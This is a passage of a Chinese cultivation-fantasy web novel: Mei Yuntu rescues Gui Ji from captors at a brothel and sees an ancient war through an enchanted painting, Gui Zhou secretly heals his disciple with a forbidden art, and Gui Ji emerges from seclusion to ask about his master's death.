听到这,梅韵荼撤去了法术,她起身径直走到归寂面前,严肃的问:“你杀人了?”
梅韵荼是可以救人,但她也不会放过任何一个草菅人命的人!
归寂听后愣住了,他没想到梅韵荼会知道这件事,一时间不知道应该说什么,只是呆呆的看着她。
“说话,你杀没杀人?”
归寂又想起了在斗兽场的日子,他的内心顿时被巨大的恐惧所笼罩,他颤声说:“我,杀了人。”
梅韵荼看着他的样子,以为他是心虚,冷笑一声:“归寂,我救你本以为你是这里面最大的受害者,但是现在看来,你也不是什么好人,我不杀你,但是我也不会帮你了,你自己惹下的祸端,自己解决吧!”
说完,梅韵荼转身就消失了,留下归寂一个人在屋子里不知所措。
归寂很委屈,但是也没话说,人,他确实是杀了。
但是姐姐,那人他不是好人啊,你为什么不能等等我?
视线很快就被泪水模糊了,明明和她只认识了这么短的时间,但是归寂不知道为什么还是很难过。
可能是在外面呆久了,想家了。
他从辰秋落出来之后,除了自己,就再也没有人对他这么好过,见到的人不是追杀他、就是打他。
可现在唯一对他好的这个人,也离开了。
“姐姐不帮你了,你自己也可以!归寂,你哭什么哭。”归寂哽咽着说。
然后他抹了一把眼泪,站起身,推开门出去了。
就在他离开那个屋子半炷香后,梅韵荼又闪现在那个房间里。
就在她“毅然决然”的回到了她的院子后,坐在塌上又想起了方才归寂的话。
她怎么想怎么不对,这人身上那么多伤,有新有旧,而且有些伤痕的程度并不可能是人造成的,更像是——妖族!
她本来就觉得不放心,但是自己的道德观不能放任她去帮助一个杀人犯。
如果这小孩是迫不得已呢?
梅韵荼一拍脑袋,服了,自己究竟什么时候能有点耐心听别人把话讲完?
她立刻又回到了那个屋子,四周一看,和她想的一样,这小孩是个倔脾气,早就走了!
梅韵荼心道不妙,这小孩法术差的要命,到时候真出了问题,就是因为自己的过错了。
她一推开门,就发现了问题,方才大堂中间的人呢?
心里那股不安之感,越发浓烈,这些人可都是结丹中期啊!那孩子顶多筑基中期,只是不知道为什么,她那日探他神识的时候,归寂只有凝气三层。
不管事实怎么样,这人落到他们手里,绝对活不了!得赶紧把人找到才行。
就在梅韵荼急得焦头烂额的时候,她的余光瞥见了一摸熟悉的颜色。
15. 夺契
那身鲜艳的红裙,不是方才那个女人的,还能是谁的?
梅韵荼看准时机,在她即将进入拐角处的时候,一个闪身,出现在她面前。
面前的红裙女子在见到她的一瞬间,吃了一惊。
到底是见过世面的人,她并没有惊呼出声,而是莞尔一笑,大方的问:“姑娘家来此,莫不是来错了地方?”
“别装傻,你知道我来干什么。”
梅韵荼见这人脸上无一丝惧色,便没有与她多费口舌,而是直接在手中凝结了灵力,对准女子的脖子,做好这些后,她笑了一下:“姑娘,我知道你见过那些人,自然不惧修仙者,不过你也看到了,你现在要是不说,可就没命了。”
当然,这只是恐吓,她不是滥杀无辜之人,像这种花楼女子,顶多是替人办事,不是主谋,杀她也无用。
“这,这位姑,姑娘,我...我就是个跑腿的,你看...”
她看梅韵荼现在的样子,可能真的会杀了她,所以她打算服个软。
梅韵荼又将灵力靠近了她一点,现在距离她脖子的距离不过半指!
看着那团“呲呲”冒光的灵力,女子终于是害怕了,她苦着脸说:“这位姑娘别急,别急,刚才那些人,往那边去了。”她给梅韵荼指了一个方向。
梅韵荼趁她不备,一记手刀将人砍晕,她既不想让这人带来麻烦,也不想给她带来麻烦。
顺着女子指的路,她一直走到了另一间包房。
敛去气息后,她轻轻推开门,屋内无人。
这屋子一看,就是平日里不用来接客的,因为实在是脏的很,看样子也很久没有人打扫过了。
她在屋内转了一圈,什么也没发现。
这不对啊?她指的就是这个方向啊!
梅韵荼突然想到,会不会有密室?
她的目光扫过这间屋子里的所有摆件,但是这些摆件的上面都有一层厚厚的灰尘,根本没有人动过。
突然她的目光被墙上的一幅画所吸引。
虽然这幅画上,也有一层厚厚的灰尘,但是看上去很不一样,好像——有灵气!
梅韵荼单手结印,灵力在触碰到那幅画的瞬间,就被吸了进去。
等站稳了,她一看,这哪里还是什么花楼,自己已经身处荒郊野岭了。
突然天空好像暗了下来,她抬头像天上望去,方才还晴空万里,现在已经是电闪雷鸣了。
不对,这很不对劲,这里,究竟是什么地方?
“轰隆”一声,她看见天上有什么东西炸了,开始纷纷掉落到凡间。
再近些,她看不清楚是什么。
等她看清楚的时候,已经来不及了,那些掉落的东西,是一个一个巨大的大火球!
这一个火球,对修士来说,已然费劲,何况是凡人?
她想去救人的时候已经来不及了。
梅韵荼的目光随着火球移动,眼睁睁看着不远处的一处城池,被瞬间夷为平地,她愣住了。
看见许许多多的火球从天而降,不远处的国度,现在正被烈火环绕,城中那些普通的百姓平白无故受了这无妄之灾,好好的地方就这么没了。
此刻,梅韵荼人生中第一次感受到了那种深深地无力感,这是她的能力所办不到的事情,她救不了这些人。
梅韵荼不甘心,万一她能救几个出来呢?
她赶紧御剑,结果发现,这里面不能动用灵力!
知道了这件事后,她拔腿就往那边跑去。
即便她知道,她来不及救人,但是她就是心存侥幸,万一呢?
就是知道了这只是画中影相,根本改变不了过去、改变不了历史,但是她不能眼睁睁看着这些人在她面前死去!
就差一点了,还差一点。
就在她即将冲到城门口的时候,她被结界弹开了。
历史,无法被改变。
梅韵荼痛苦的看着面前发生的景象,她闭上了眼睛。
良久,才睁开。
刚才发生的这一幕,为何好像在哪听过?
“......”
“话说这万年前,仙魔大战,持续了千年之久!仙族之人由天地灵气孕育而生,魔族之人则是由天地怨气孕育而生。两族生来对立,实力不相上下,为抢夺资源,展开了这场持续了千年的战争。仙界先后派出了诸多真神出战,无一不战死,魔界亦是如此。”
“本来仙魔两族战争,与人间并不相关,直到最出名的那一战——‘冥河之战’的发生,使这场战争接近了尾声。”
“众所周知,这冥河是分界仙族与魔族领域的地方。那日仙族战神率先攻破了冥河的防御,本来是必胜之势,谁料想是那魔族的奸计,战神大人骁勇善战,带领众位仙将,杀出一条血路,逃回了冥河对岸,可是魔族却依旧不依不饶、穷追不舍。”
“在这时,不知出了什么变故,处于冥河两畔的仙、魔两族将士,尽数陨落,无一生还,由此,仙魔大战进入尾声。”
“就在这仙魔大战的最后之际,魔界只剩下尊者一人,仙界则只剩下仙尊一人,两人大战足足三月!开始时还未曾祸及人间,可是二人实力随时间消耗越来越多,为了能尽快取胜,仙尊以命祭出‘天鼎’想以此物炼化魔尊。”
“魔族尊者也不甘示弱,不惜燃烧自身全部修为抵挡,两力相撞之时,天空瞬间黑暗、电闪雷鸣,‘天鼎’被魔尊击碎,掉落人间。然而两力相撞产生的巨大热能,让‘天鼎’在碎裂之时燃起天火,天火难灭,将中原与域外之间国度一夜间烧成灰烬,大火持续了月余,所以现在我们看到的沙漠,是因为天火燃烧所致。至于那仙尊与魔尊,二人双双陨落,此后天地之间,再无仙、魔二族!”
“所以,现在那片沙漠,在万年前是一座国度?”
“可不止一座,是一片,还极其繁盛呢!”
“真是可惜了...”
“...是啊”
“......”
梅韵荼:!!!
这不是以前在凡间听过的,仙族与魔族大战的那一幕吗?
难不成这幅画是万年前之物?怎会流落至此?是谁将这幅画流了下来?当年还有活着的仙人或者...魔族,甚至活到了现在?
“......”
一时间,梅韵荼想到了太多的可能性,她好像发现了不得了的秘密!
不过还没等她继续想下去,她就被画扔了出来。
看来是画中情景的时间到了,后面就没有了。
出来后,她又好好看了看这幅画的外观,的的确确是幅很普通的画。
不对,画上有禁制!
这一发现让她有些窃喜,不过这禁制,并不是她能解开的,这种东西她也碰不得,今日就当什么都没看见,还是找归寂重要。
梅韵荼转身就要走,正要踏出门槛的时候,她突然听见身后有声音,她赶紧一闪身,躲在了不远处的屏风后面。
就在挂那幅画对面的墙上,凭空飞出来两个人,这两个人的装束就是刚才大堂里的那些人!
梅韵荼躲在屏风后面等了半天,也没看见这两人从地上爬起来。
她上前一探,发现人已经死了。
是被灵力打死的。
那小孩还活着!并且目前还没有被抓住。
倒是她小看这小孩了。
梅韵荼二话不说就冲向那墙里。
还真冲进去了。
一进去,她就祭出剑来。
因为她听见不远处有打斗的声音,那小孩应是快撑不住了。
“噗”归寂撑着剑喷出一口血沫,他抬头看着不远处的几人。
“他撑不了多久了,区区凝气期,竟能与咱们周旋这么久,还杀了两个兄弟!杀了他。”一个身着墨色衣服的人说。
“诶,你忘了刚才老大说这人不能杀。”墨色衣服对面的人提醒。
另一人不耐烦的看着那两人:“你们怎么那么多废话!”
他直接出剑冲着归寂面门而来,归寂提剑格挡,可这剑不是他的本命法器,是他刚才情急之下从死人手里抢来的。
这人的攻势很强,是这里最难缠的一个,此刻,他的剑上还附着了灵力。
这破剑根本支撑不了,在顷刻间化为粉末。
归寂跌坐在地上,勉强凝了个结界抵挡,但他这段时间都没有修炼,在斗兽场时修为被封印,到了花楼也没时间冲破封印,还是因为梅韵荼给他渡了不少灵力,封印才破除,现在他最多恢复到凝气四层。
“哗啦”一声,结界破了。
归寂的本命剑“?”的一声挡在了他面前,将那人震开,那人后退了三步。
“这小子身上还有好东西。”
话音未落,方才没动的那两人动了,一齐向归寂冲来。
突然,一道寒霜之气袭来,两人的身躯在空中硬生生折了回来,等再次回身的时候,面前多了一人。
一个紫衣女子。
她手持双剑,一柄剑寒霜环绕,一柄剑烈火燃烧,两把剑剑身极细,让人不自觉的心生畏惧。
归寂本来已经闭上眼睛了,但是等了半天没有动静,他又把眼睛睁开
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了。
然后就呆在了原地。
在他身前挡着的是梅韵荼。
“姐姐?你...”
“想问我不是走了吗,怎么现在又回来了?”
“嗯”归寂小声回答。
梅韵荼冷哼一声:“待会再找你算账,这几个人还在这呢,咱俩聊天,太不把他们放在眼里了。”
话音未落,梅韵荼将焱炽挥出一道带火的剑气,那三人结阵抵挡,才将这一击堪堪接下。
梅韵荼轻蔑的看着那三人:“实力悬殊太大,胜之不武,说出你们背后之人,饶你们一命。”
“做梦!”
那三人话都没说完就自爆了,变化来得太快,梅韵荼只来得及躲避,就在她要转身避开的时候,她突然想起来,归寂还在她背后,她挨着一下死不了,但是归寂必死无疑!
她迫使自己停下离开的动作,转身接下了这一击。
即便做了准备,却还是被震退了数步,唇边溢出血迹。
归寂看见她停止离开动作的时候,眼眶已经红了。
这时候见到梅韵荼受了伤,他的泪,也就不争气的流出来了。
“为什么回来?”他强忍着情绪。
梅韵荼一直背对着他,并没有看见他的样子,只是淡淡的说:“没什么,良心过不去罢了,怕我冤枉了好人。”
“刚才那两个人也是我杀的,你怎么不说我草菅人命?”
“刚才那三人还是我逼死的呢!你怎么不说?”梅韵荼听这小孩还抬上杠了,转身就想好好“教训”他一下。
结果转过身去,她就开不了口了。
归寂满脸泪水,委屈的看着她,反驳的声音早就被压制在了嗓子里,现在的归寂,只能发出小声的“呜呜”声。
梅韵荼最见不得别人哭,因为她不知道应该怎么哄!
“那个,你,别哭了。”
“哇...啊”
梅韵荼就是想安慰他一下,结果刚才还在憋哭的归寂,现在放声大哭了。
梅韵荼:......这可咋办?
“我,我,我错了。”
梅韵荼磕磕绊绊的憋出来一句话。
归寂的哭声一下子小了很多:“姐姐?你说什么?”
归寂是真的没听见她说了什么,很久没有人对自己这么好了。
下山后每次遇险,他不是受重伤没人管,就是被抓起来关着。
像今天这种被人救下,已经很长时间没有体会过了。
关键是,姐姐还因为救自己受了伤,他更内疚了。
梅韵荼以为他是故意的,只好又说了一遍:“我说,我错了,这回听见了吗?”
虽然话听起来不耐烦,但是语气却很温柔。
归寂点了点头,又开始掉眼泪。
梅韵荼:???什么情况?
“没事的姐姐,我就是很久没被人关心过了,有点不适应。”归寂吸了吸鼻子。
梅韵荼笑了一下,抬起手摸了摸归寂的脑袋:“这次真的是我错了,我这个人性子急,没什么耐心,我以后一定会强迫自己有耐心的,别哭啦。”
归寂:“姐姐,你哄小孩呢!”
梅韵荼:“你不就是小孩?”
归寂:“姐姐!我已经长大了!”
“在我眼里你就是小孩,好了,走吧,看看你的卖身契在不在这里。”梅韵荼说完,伸出一只手。
归寂牵住那只伸过来的手,借力站了起来,但是起来的时候还是踉跄了一下,梅韵荼眼疾手快扶住了他。
“你没事吧?”梅韵荼有些担心的看着他。
毕竟这小孩昨天还躺在床上不省人事呢,今天刚醒就挨了打,身子骨吃不消的。
“姐姐我没事,习惯了。”归寂勉强挤出来个笑容。
归寂的手从前襟内侧的衣服中拿出来,他的手里捏着一张纸,他笑着说:“姐姐,你看,我拿回来了。”
梅韵荼心疼的看着他:“怎么,还想让我夸夸你吗?”
“姐姐不说话就算了,别一说话就这么生硬。”归寂小声嘟囔。
梅韵荼:“你以为你声音小我就听不见吗?”
归寂立刻闭嘴了。
梅韵荼小心的搀扶着他,离开了那间密室。
刚出了那间屋子,梅韵荼就感觉肩上一沉,低头一看,果然,归寂已经因为支撑不住靠在她肩上晕过去了。
真拿这小孩没办法,撑不住,他还就硬撑!
梅韵荼本来还想看看花楼其他地方的状况,现在看来,她应该立刻回家,救人!
17. 留下
在辰秋落修炼的日子窸窣平常,却也难得安宁。
要是放在两年间,她在魔宫训练,每天不仅要玩命修炼,还要时时刻刻提防有人抢夺她的圣女之位。
每日不是杀人就是杀妖,细细想来,好像自己也与这辰秋落之人并无不同——都只是杀人的工具罢了。
这门派上下,估计也都是些没有自由的可怜人。
自她那日劝说妖王从长计议之后,妖王竟再也没有传信于她,这倒是让秋上尘觉得有些不对劲。
这妖族是出了什么事吗?还是单纯没任务?
秋上尘更希望是后者,她可不想在夺位时出什么乱子。
按照归舟之前说的,没有任何修仙基础的人不可以修炼那个断骨重生的功法,可能会对普通人的身体有伤害。
但是现在的秋上尘已经是筑基后期了,她打算去找归舟试探一下。
探了一下归舟的位置,秋上尘出发了。
秋上尘的腿其实一点事都没有,不过她一直都在刻意损伤不让其痊愈,平常在外人眼前,就用法术维持正常走路。
但是总这样也不行啊!她还得完成自己的其他计划呢!
心中谋划着,就来到了熟悉的后山,归舟正盘腿坐在悬崖边修炼。
后山,秋上尘这月余来了不知多少次,但是每次来,她还是会觉得不舒服,有种很奇怪的感觉在她心里盘旋。
“师尊”秋上尘向归舟行礼。
归舟在修炼时习惯留一丝神识在外界,听见秋上尘的声音之后,他很快就停止了手中的动作,起身问:“上尘,有事吗?”
秋上尘老老实实的说:“师尊,弟子现在已经筑基中期了,我的腿每日不能总靠灵力维持,想问问师尊,我何时能治好?”
归舟转身看着她,这些天归舟也在犹豫要不要将功法给她,他其实有点自己的私心。
秋上尘是他此生见过修仙最有天赋之人,若是日后不留在辰秋落,这是暴殄天物!
归舟总希望,秋上尘可以多在辰秋落修炼一段时间,这样他或许能在有生之年,见证修真界第一个登临仙界之人。
还是他将这一切想的太过简单,秋上尘是活生生的人,是有自我意识的,不是随意摆布的物件。
“既然你今日提出来了,那我今日就交给你。”归舟有些惋惜的说。
秋上尘心中满是不屑,她没想到归舟居然在等自己提出来,原来自己早就可以将腿治好,这人安的什么心?
当真是厚颜无耻!
下一秒……
“多谢师尊”秋上尘恭恭敬敬的行礼,语气中是掩饰不住的欢喜。
归舟:“这功法没有名字,是辰秋落掌门弟子中与掌门最有缘之人,方能习得,或许在外人看来是珍贵之物,但是在我看来,这不过就是一个可以救人的法术。”
秋上尘:好好好,你清高(白眼)
秋上尘的细微动作,归舟自然是看不见的,因为他已经开始示范了。
“将你的全身修为散布于四肢百骸,逆用平日里的吐纳之法……”
秋上尘跟着归舟照做,正做到一半,归舟突然停止了动作,来到她面前。
秋上尘心中警戒,即便现在逆用功法,贸然出击会对自己造成巨大反噬,但她还是有把握杀了他。
归舟从怀中取出一瓶丹药,倒出来:“吃了它。”
秋上尘疑惑的看着归舟。
归舟:“这是此功法必不可少的一个环节,没有这药丸的辅助效果,你的腿不能完全好。”
秋上尘虽然不信任他,但是她决定赌一把。
她将信将疑的张开嘴,归舟将药喂给她。
“凝神炼化,同时运转体内全部灵力。”
秋上尘闻言,闭上眼睛照做。
归舟单手结印,从旁施法协助。
看见秋上尘闭上了眼睛,归舟一指点入自己的心口,取出一滴心头血,将血融进了灵力。
秋上尘感觉体内的那颗药丸完全被炼化了之后,她睁开眼睛。
归舟见状问:“如何了?”
秋上尘收了灵力,又感受了一下,才说:“师尊,我感觉腿有些知觉了。”
“嗯”归舟点了点头:“这几日,你不用修炼了,好好修养几日。”
“师尊,那我腿好之后……”
归舟停顿了一下才回答:“到时候,再说吧。”
他转过身去,唇角溢出一丝鲜血。
“你下去吧。”
秋上尘看着归舟的背影,察觉到他有点不对劲,鬼使神差的问道:“师尊?你身体可无碍?”
此话一出,秋上尘自己都奇怪,她怎么会问出这种话?
但是刚才毕竟是归舟在一旁帮助自己炼化,虽然这腿本来就是逢场作戏,不过看样子归舟消耗不小,关心一下也实属正常吧!
“无事”归舟回答。
秋上尘明显感觉到归舟回答的有些有气无力,可能是碍于面子才赶自己走。
她识趣的说:“弟子多谢师尊相助。”说罢,她就走了。
这人真是奇怪,前段时间还对自己起过疑心,今日又能救自己。
搞不懂啊!
唯一可惜的就是,这功法竟没有书,而是口口相传!
简直,离谱!
归舟侧首见秋上尘离开了,他终于支撑不住,半跪下来。
这哪里是什么功法,不过是要修习过那种法术之人的一滴心头血而已。
至于那颗丹药,也不过就是填补气血之物。
这是本来就是邪术!是门派禁术!
由于当年归舟的一意孤行,机缘巧合下修炼了一种极其阴邪的功法。
师尊却并没有因此惩戒自己,而是将这门邪术的作用告诉了他。
对外却宣称,这是秘术。
此术虽能使断骨之人重塑筋骨,但是对于施术之人消耗极大。
如今他的这副病躯,施术完毕,想要与从前那般已是不能。
能维持到归染赶来就好。
他艰难的结印传信给归染,自己则一步一步缓慢的向院子走去。
归染接到了他的传信,身形在瞬间以至归舟身前。
为了尽快见到归舟,她竟不惜使用了一张传送符!
“师弟!你怎么样?”她的声音很急切,眉眼间满是担忧。
归染见他走路都困难,赶紧上前扶住他。
归舟摆了摆手:“回你的院子,我院中,有人。”
说完,嘴角又溢出一缕血丝。
归染取出一丸丹药喂他吃下,见他一时无事,立刻祭出剑,带他回了自己的院子。
“你又干什么了?”一回到院子,归染就毫不客气的问。
归舟:“给她治腿。”非常简短的四个字。
“那功法,有问题?”归染看着他的眼睛说。
归舟看了归染一眼后,就将眼神挪开了,似是心虚:“没有,是我旧伤又犯了。”
归染被他气笑了,她行医制毒这么多年,还能看不出来归舟是因为什么受的伤吗?
“你不想说,我也不问,只是今后这功法不许再用了,这次我不知道缘由,是我之过,你这伤我给你治、不收钱。”
归舟看她这个时候居然还想着钱,也被气笑了:“那还真是多谢师姐了。”
秋上尘回到偏房,她怎么都觉得那功法不太对劲,但是又不知道哪里不对。
细细感觉了一下,又发觉这腿是真的有所好转,想必不出半月,便能行动自如了!
既然今日归舟为了她,耗损了这么多,那她最近勉强可以不做任何伤害辰秋落的事,一码归一码,她不是不讲道理的人,她也不想变成与辰秋落中弟子一样的人。
要不给他做顿饭呢?
秋上尘并不情愿,但是照常理来说,这人确实是救了自己,好吧,就做一顿、就一顿。
秋上尘打开房门,院中无人。
正合我意!开拔!
她施法从地里薅出一根萝卜,顺手就丢进井里清洗,等洗的差不多了,她又把萝卜从水里甩出来扔到了锅里。
问题来了:这萝卜怎么切?是切成圆片、还是切成长条?
没有人回答,那就都切,一半切园、一半切条。
秋上尘施法开切,她才不会亲手切菜,主要是——她不会。
施法切菜就是快,下锅开炒!
秋上尘一路火花带闪电,端上了一盘形状怪异的清炒胡萝卜。
归舟回到院中的时候,已经是晚上了。
他第一眼就觉得菜地里少了点什么,走过去一看,萝卜被拔掉了好几颗!
又看见井边溅出来了不少水渍,还没干透。
归舟借着月光低头向井里看去,不看还好,一看他感觉天都塌了。
本来清澈干净的井水,现在有一层污泥漂浮在水面。
他揉了揉有点酸胀的额角,听到了熟悉的声音:“师尊!”
转身一看,秋上尘站在不远处热情的朝自己打招呼:“师尊,我做了菜,你来尝尝!”
好了,疑惑得到了回答。
“好”归舟回答。
秋上尘心里翻了个白眼,给你做顿饭,
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这么热情,你就这样回答?真是给你脸了!
归舟坐在木椅上,看着面前盘子里形状怪异的清炒胡萝卜,他无话可说。
还是那双做工精美的筷子,优雅的伸进盘子里夹了一筷子。
归舟将菜放进嘴里咀嚼,没有任何面部表情,然后接着又夹了一筷子。
秋上尘见归舟没一会儿,就将那一盘子菜全都吃完了,她更气愤了,我给你做顿饭,你是一点都不给我留啊!
“上尘,下次做的时候,记得放些油,那样味道会更好。”
岂有此理!
秋上尘气坏了,这人不仅没说一句很客气的话,一直挑三拣四,现在还给自己挑上毛病了?
“上尘谨记师尊教诲。”
秋上尘气了半天,最后说了这一句话。
在归舟的注视之下,秋上尘将碟子抛向井中清洗。
归舟一时看呆了。
他忙开口:“上尘?这碟子不是这样洗的。”
“啊?”秋上尘此刻已经洗完了,又将碟子施法捞了出来。
归舟扶额:“上尘,今后不必做这些了,当安心修炼才是。”
秋上尘:“是,师尊。”
好心给你做饭,你还……!
归舟见秋上尘回到了偏房,他才面露苦涩的走进自己房中。
就半日不在,这小徒弟把院子弄得一团糟,那井水可是,哎,那盘子,哎。
那菜,是真难吃……炒萝卜,怎能不放任何调料?连油也不放?
但这是小徒弟第一次给自己做,总不能拂了人家的一番心意。
全吃完了,是礼数。
归舟虽是这样想的,但秋上尘可不是,她觉得这人不识好歹。
无妨,半月而已,很快。
眼看着半月之期就要到了,秋上尘的腿已经完全可以正常行走了,这虽是好事,但归舟心中却并没有半分喜悦。
他也不知为何,自己的徒弟痊愈,明明应该开心才是,此刻他却感觉心里酸涩无比。
“师尊,弟子的腿已经完全可以正常行走了。”秋上尘对归舟行礼说。
归舟心里叹息,这一日终究还是来了。
“所以,你今日是来辞行的吗?”秋上尘低着头,归舟看不见她的脸。
闻言,秋上尘唇角微勾,听这人的语气,似乎是舍不得?
杀手也会有情?
秋上尘“疑惑”的抬头看着归舟:“师尊,弟子并未说要离开门派啊!”
归舟听后,连他自己都没有意识到,他居然松了一口气。
“你这是?”
“弟子这月余体会到了修习的乐趣,师尊也说了,我这么有天赋,不修习岂不是浪费了?况且我也想看看,自己究竟有没有问鼎仙界的本事。”秋上尘笑着说。
归舟难得露出笑意:“嗯,本来还想着,你的院子可能要白修了,现在派上用场了。”
秋上尘:哦,原来是心疼钱……
“上尘,你的腿已经好了,按照之前的约定,你也要接宗门任务了,不过你现在修为尚浅,也不会给你派难度很大的任务。”
“师尊,这任务不是你派给我吗?”秋上尘问道。
“不,派中有任务接取的专人负责,现在我们只接杀妖平乱的单,杀好人、好官的,我们不接。”
秋上尘点了点头:“好,这样的任务,我可以接受。”
……
天光乍现,流云异彩。
在辰秋落某一处的崖壁之上,“砰”的一声,碎石滚落,一道蓝色光芒闪现在绝壁之前。
一人身着青色长袍高悬于空,长袍的底色娴雅而澄净,衣袂浮动,泛出墨绿般的幽光,一条同色的宽边腰带紧束腰间,勾勒出劲瘦的腰身。
这身青色,穿在他身上,是一种风骨与意境的融合。
院中的归染正在整理草药,她感受到了一股强烈的灵力波动,抬头看去,眼中由警惕变成了欣喜。
小师弟出关了!
看这灵力波动程度,归寂就快要结婴了。
归染祭剑,赶去了归寂出关的崖壁,小师弟出关,做师姐的怎么能不是第一个到的呢?
今日值得庆祝一下!
秋上尘在屋中修习,也感知到了灵力波动,这人比现在的自己强上许多,至少是——结丹后期!
看来是那位小师叔,出关了。
院子里有动静,归舟也出来了。
归舟在房里感受到了归寂的灵力,如今归寂的灵力已与自己相差不大了,也不知道当年那个被人追着打的小孩,现在是什么样了。
18. 出关
这是归寂闭关两年后,第一次出来。
好久没呼吸过新鲜的空气啦!
这么长时间了,也不知道梅姐姐过得怎么样了,要不、去看看?
归寂说干就干!
祭出剑,归寂满怀期待的站上去,这次,他再也不是两年前那个“手无缚鸡之力”的“小孩”了!
刚要出发,身前一道粉色的身影拦住了他。
是归染。
“哟,小师弟这是要去哪呀?这不是才出关吗?不来看看师兄师姐就走啊!”归染打趣说。
“师姐!你别拿我开玩笑了。”归寂还是有点不好意思,但现在的这番表现更像是独属于少年的那种青涩。
两年不见,小师弟还真是长大了!
归染笑了笑:“归寂,你知道今日你出关要惊动了多少人吗?我们都等着为你庆祝呢,你就这样撇下我们,合适吗?”
归寂想了想,才看向归染说:“师姐,确实是我思虑不周了。”
“两年没看辰秋落了,也不知道辰秋落变样了没有,师姐,我先去逛逛!”
归寂说完便御剑离开了。
归染看着归寂御剑的背影,这已经不是当年那个能被自己追着打的小孩了,现在的自己可能已经快要追不上他了。
归染有种孩子终于长大了的欣慰感,她满意的点了点头。
她也祭出剑,跟着归寂离去的方向。
“师兄!”
归夜回头一看,归寂正站在院门口朝自己打招呼。
“我竟没想到,小师弟第一个出关来看的居然是我,还真是受宠若惊啊!”归夜开玩笑道。
“诶,师兄,你这话说的可就不对了”归染的声音从天上传来:“他出关之后,见到的第一个人,是我。”
归夜抬头挑衅:“师妹,是你自己非要去找,这小师弟是主动来找我,性质不一样的。”
眼看着一场“争宠大战”即将开始,归寂赶忙开口:“那个,师兄师姐,大师兄和掌门师兄我也很长时间没有拜会了,先走了哈!”
归寂溜之大吉。
他才不会傻到做那个劝架的,这可是经验!
归寂一溜烟就来到了归初的院子,果然,归初又不在辰秋落。
归寂有些失落的出了归初的院子。
这大师兄,隔三差五就消失!
归寂叹了口气,往前一看,不远处就是宗门祠堂。
也是时候该去看看师尊了,归寂这样想着,就来到了祠堂门口。
走进祠堂的那一刻,归寂好像又回到了很多年前,那个时候的他特别淘气,根本不听任何人的话,所以他就成了这祠堂的常客。
几乎每日都会进来罚跪。
但是归寂心态好啊,久而久之,他就习惯了,开始在祠堂里玩上了。
一开始,其他人都不知道他在祠堂里是玩,直到有一次一个外门弟子也被送进去受罚。
刚推开门,那弟子就呆在了门口,这让押送的人很奇怪,这人为什么不进去。
好奇心驱使下,那人探头往里一看,归寂正四仰八叉的躺在地上打滚玩,身边还满是洒落的供果,甚至有些还是咬过的!
这件荒唐事,最终以归寂被禁足院中一月圆满落幕。
后来归寂再被罚跪的时候,把祠堂弄成什么样子,也没有人再去管了。
因为,习惯了。
迫使归寂下山历练的还是因为他不小心误触了祠堂的宗门大阵!
当时所有的防卫系统全部被打开,宗门被一层又一层的结界包裹住,多年未用的机关全部打开,随时准备攻击。
因为许多机关很久没用了,所以打开的时候发出了很刺耳的声响。
整个门派都被那声音震得耳膜发颤。
内门弟子甚至已经做好了开战的准备,外门弟子以为发生了什么大事,结果等了半天什么事也没有发生。
先掌门觉得奇怪,这才去祠堂看了一眼。
他要是再晚去一点,归寂就没命了!
这宗门大阵的打开是需要特定法术的,这种强行开启,除非是受到了外力的触碰,但若是触碰者没有及时躲开,那便会受到大阵的反噬。
归寂本来灵力就稀少,宗门大阵又极其消耗,他根本无法做到维持。
这两件事情接连发生后,外门弟子、内门弟子,新来的弟子、不是新来的弟子,全都知道归寂这个人了,每次听见这个名字,大都敬而远之,害怕他会给自己惹出什么事端来。
归寂两次将门派搅得不得安宁,无奈之下,先掌门让他下山历练。
等他再回来的时候,就已经是遍体鳞伤,还错过了见师尊的最后一面。
归寂看着熟悉的祠堂,无数的回忆涌入脑海。
想到这,他笑了一下,但是那笑容好像很无奈。
像是追忆,又或是后悔。
这是他第一次这样安静、郑重的跪在历代掌门灵位之前。
三叩首后,他抬起头,目光锁定在了他师尊的灵位上。
两年前归寂回来的时候,师尊已经被封入了灵棺,他没有机会再次见到师尊了。
两天之后,正殿之前的广场上,就进行了师尊的“焚天仪”。
这是辰秋落多年以来,对掌门仙逝的最高仪式。
将灵棺处于广场中心,周围设上魂幡法阵。
魂幡法阵是以灵棺为中心,周围设置八个魂幡,灵棺之上悬浮一魂幡,再聚集九人轮流为魂幡施法,开启法阵,最后众弟子齐向灵棺之上的魂幡施法。
等魂幡汇聚的力量足够强的时候,会向天空射出一道光芒,直达云霄。
此刻灵棺被金色的霞光笼罩,犹如烈火焚烧,霞光消失的时候,灵棺也会随之消失。
到此,“焚天仪”结束。
“焚天仪”结束后,归寂心中难受,不想回自己的院子,就跟着归染去了归舟的院子。
在去往归舟院子的路上,归寂突然觉得有点不对劲。
师尊究竟是怎么仙逝的?怎么会这么突然?
明明下山之前,师尊身体很好啊?如果是有仇家寻仇,那也应该进行完“焚天仪”后立刻复仇才对啊?
怎会像现在这样?
这件事情不对劲。
到了归舟的屋子里,归染扶着归舟坐在了床榻上。
归寂环顾一圈见人都齐了,他也不避讳,开门见山道:“诸位师兄,师尊究竟是如何仙逝的?怎会这般突然?”
归初这才反应过来:“对啊师弟,师尊是如何仙逝的?”这句话是看着归舟说的。
归舟闻言,呼吸明显急促了许多,甚至脸色都变得更加煞白了。
归寂见状,心里有了些许猜测:“掌门师兄?你知道什么对吧。”
毫无疑问的陈述句。
两人的语气都像是在步步紧逼的追问归舟,归舟的内心此刻充满了愧疚和自责。
明明自己死了就可以的,因为自己的心软,而连累了师尊,为什么师尊要救自己?
归初也看见了归舟的异样,又问:“掌门师弟,我们都想知道。”
归舟感觉自己的鼻子酸涩,眼眶发热,喉咙像是被什么东西堵上了,发不出声音。
好不容易要开口,刚张开就是一阵剧烈的咳嗽,甚至将血都咳了出来。
归夜在一旁看不下去了:“好了,你们想知道的我来说。”
“半月前,我与归舟接了一个任务,屠一座妖城。开始好好的,说好了一人屠一半,归舟比我先完成,但是等我过去的时候,他就已经躺在城门口了,一个小女孩正要杀了他,我打飞了那个小孩,给了归舟一颗师妹配的灵药,就回了门派。但是师妹的灵药并不对症,半路上归舟就已经很严重了,等回到门派之后,师尊看见归舟的状况就把了个脉,当即脸色就变了,我这辈子还没见过师尊的脸色能那么不好。”
归寂边听边看了归舟一眼,归舟现在的脸色,想必没比师尊当时好多少。
“师尊让我带他回院子,任何人都不许进去,他独自一个人在院子里救治归舟,再出来的时候,就已经是油尽灯枯之相了。”
归夜说到这里,看向归染:“师妹,接下来的事情,你来说比较好。”
